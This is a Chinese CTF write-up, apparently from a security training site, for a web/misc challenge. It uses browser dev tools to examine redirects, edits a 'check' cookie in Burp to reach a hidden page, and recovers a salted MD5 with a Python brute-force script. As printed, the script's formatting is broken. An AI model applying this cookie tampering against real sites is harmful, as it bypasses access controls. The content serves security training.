Chrome浏览器中按下F12打开开发者工具，并切换到Network选项，再次访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p页面，我们看到了两个301跳转，如图所示：对于访问目录的URL，通过一次跳转来到index.html页面是正常的事情，但是这里居然有两次跳转，显然就不太正常了。我们点击两个301跳转，看看里面都有什么信息。我们看到的是，第二个301跳转的HTTP响应头信息中存在这样一个选项Set-Cookie:check=0，其他就没有什么特殊的了。这里需要发挥一下想象，我们访问的是n3xt5t3p，而最终跳转到的页面是n3xt5t3p/index.html，因为有两次跳转，也就是说在这中间还有一个页面。因为之前访问的都是php页面，所以我们猜测其中有一个index.php（是的，CTF比赛的时候就是需要大胆的去猜想，然后通过实际操作来进行验证）。访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.php，没有出现404错误，而是跳转到了index.html，实际结果表明index.php页面是存在的。结合上面的分析，可能需要Cookie中的check=1时，访问index.php才不会进行跳转。我们尝试一下用，burp截包，然后我们把Cookie字段的check=0改为check=1，然后点击Forward按钮将HTTP请求发出去，如图所示：此时，我们就可以在浏览器端看到进一步的提示信息了，提示信息如下： WORD is a common english word len(WORD) = 4 md5(WORD + '_heetian') = '84323c9b4fdb2539b4fb69b82b0189e7' FLAG = md5(WORD) 这里嗯！看到flag了md5（WORD），但是好像需要解密。利用python的hashlib库可以十分方便的进行MD5哈希值计算，对于4个字母的单词，我们可以通过暴力枚举的方式，方便而又快速的找到上面的Flag。将下面的内容保存为一个py文件，双击后等待一会就可以看到运算结果了。 import hashlib import string def crackMd5(dst): dst = dst.lower() for a in string.lowercase: for b in string.lowercase: for c in string.lowercase: for d in string.lowercase: word = a + b + c +d + "_heetian" tmp = hashlib.md5(word).hexdigest() if dst == tmp: return word return None if name == "main": raw_input(crackMd5("84323c9b4fdb2539b4fb69b82b0189e7")) Python基于缩进来控制语句块，如果直接复制运行时提示错误，也可以访问C:\Misc\crackMd5.py来进行计算。计算的结果为misc，如图所示：这一类的题目不要以为得到了flag就轻松了，后面还有解密过程。思维要严谨，不能老是看题目表象，真题往往没那么容易得出答案。用实战磨练技术，加入网安实验室，1300+网安技能任你学！

第2页第3页第4页第5页第6页第7页第8页第9页第10页第11页第12页第13页第14页第15页第16页第17页第18页第19页第20页第21页第22页第23页第24页第25页第26页第27页第28页第29页第30页第31页第32页第33页第34页第35页第36页第37页第38页第39页第40页第41页第42页第43页第44页第45页第46页第47页第48页第49页第50页第51页第52页第53页第54页第55页第56页第57页第58页第59页第60页第61页第62页